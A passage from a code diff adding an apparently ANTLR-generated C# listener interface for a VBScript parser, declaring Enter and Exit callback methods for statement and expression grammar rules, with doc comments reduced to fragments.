ExitFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGetStmt([NotNull] VBScriptParser.GetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGetStmt([NotNull] VBScriptParser.GetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGoToStmt([NotNull] VBScriptParser.GoToStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGoToStmt([NotNull] VBScriptParser.GoToStmtContext context); + /// + /// Enter a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context); + /// + /// Exit a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context); + /// + /// Enter a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context); + /// + /// Exit a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInputStmt([NotNull] VBScriptParser.InputStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInputStmt([NotNull] VBScriptParser.InputStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterKillStmt([NotNull] VBScriptParser.KillStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitKillStmt([NotNull] VBScriptParser.KillStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMidStmt([NotNull] VBScriptParser.MidStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMidStmt([NotNull] VBScriptParser.MidStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLetStmt([NotNull] VBScriptParser.LetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLetStmt([NotNull] VBScriptParser.LetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLoadStmt([NotNull] VBScriptParser.LoadStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLoadStmt([NotNull] VBScriptParser.LoadStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLockStmt([NotNull] VBScriptParser.LockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLockStmt([NotNull] VBScriptParser.LockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLsetStmt([NotNull] VBScriptParser.LsetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLsetStmt([NotNull] VBScriptParser.LsetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNameStmt([NotNull] VBScriptParser.NameStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNameStmt([NotNull] VBScriptParser.NameStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOpenStmt([NotNull] VBScriptParser.OpenStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOpenStmt([NotNull] VBScriptParser.OpenStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOutputList([NotNull] VBScriptParser.OutputListContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOutputList([NotNull] VBScriptParser.OutputListContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPrintStmt([NotNull] VBScriptParser.PrintStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPrintStmt([NotNull] VBScriptParser.PrintStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPutStmt([NotNull] VBScriptParser.PutStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPutStmt([NotNull] VBScriptParser.PutStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRedimStmt([NotNull] VBScriptParser.RedimStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRedimStmt([NotNull] VBScriptParser.RedimStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterResetStmt([NotNull] VBScriptParser.ResetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitResetStmt([NotNull] VBScriptParser.ResetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRsetStmt([NotNull] VBScriptParser.RsetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRsetStmt([NotNull] VBScriptParser.RsetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSeekStmt([NotNull] VBScriptParser.SeekStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSeekStmt([NotNull] VBScriptParser.SeekStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSC_Case([NotNull] VBScriptParser.SC_CaseContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSC_Case([NotNull] VBScriptParser.SC_CaseContext context); + /// + /// Enter a parse tree produced by the caseCondElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context); + /// + /// Exit a parse tree produced by the caseCondElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context); + /// + /// Enter a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context); + /// + /// Exit a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context); + /// + /// Enter a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context); + /// + /// Exit a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context); + /// + /// Enter a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context); + /// + /// Exit a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context); + /// + /// Enter a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context); + /// + /// Exit a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSetStmt([NotNull] VBScriptParser.SetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSetStmt([NotNull] VBScriptParser.SetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStopStmt([NotNull] VBScriptParser.StopStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStopStmt([NotNull] VBScriptParser.StopStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubStmt([NotNull] VBScriptParser.SubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubStmt([NotNull] VBScriptParser.SubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTimeStmt([NotNull] VBScriptParser.TimeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTimeStmt([NotNull] VBScriptParser.TimeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeStmt([NotNull] VBScriptParser.TypeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeStmt([NotNull] VBScriptParser.TypeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context); + /// + /// Enter a parse tree produced by the vsAssign + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsAssign([NotNull] VBScriptParser.VsAssignContext context); + /// + /// Exit a parse tree produced by the vsAssign + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsAssign([NotNull] VBScriptParser.VsAssignContext context); + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsStruct([NotNull] VBScriptParser.VsStructContext context); + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsStruct([NotNull] VBScriptParser.VsStructContext context); + /// + /// Enter a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context); + /// + /// Exit a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context); + /// + /// Enter a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context); + /// + /// Exit a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context); + /// + /// Enter a parse tree produced by the vsNew + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsNew([NotNull] VBScriptParser.VsNewContext context); + /// + /// Exit a parse tree produced by the vsNew + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsNew([NotNull] VBScriptParser.VsNewContext context); + /// + /// Enter a parse tree produced by the vsICS + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsICS([NotNull] VBScriptParser.VsICSContext context); + /// + /// Exit a parse tree produced by the vsICS + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsICS([NotNull] VBScriptParser.VsICSContext context); + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsLiteral([NotNull] VBScriptParser.VsLiteralContext context); + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsLiteral([NotNull] VBScriptParser.VsLiteralContext context); + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context); + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context); + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context); + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context); + /// + /// Enter a parse tree produced by the vsMid + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsMid([NotNull] VBScriptParser.VsMidContext context); + /// + /// Exit a parse tree produced by the vsMid + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsMid([NotNull] VBScriptParser.VsMidContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableStmt([NotNull] VBScriptParser.VariableStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableStmt([NotNull] VBScriptParser.VariableStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWidthStmt([NotNull] VBScriptParser.WidthStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWidthStmt([NotNull] VBScriptParser.WidthStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWithStmt([NotNull] VBScriptParser.WithStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWithStmt([NotNull] VBScriptParser.WithStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWriteStmt([NotNull] VBScriptParser.WriteStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWriteStmt([NotNull] VBScriptParser.WriteStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgsCall([NotNull] VBScriptParser.ArgsCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgsCall([NotNull] VBScriptParser.ArgsCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgCall([NotNull] VBScriptParser.ArgCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgCall([NotNull] VBScriptParser.ArgCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context); + /// + /// Enter a parse tree produced by . + /// + /// 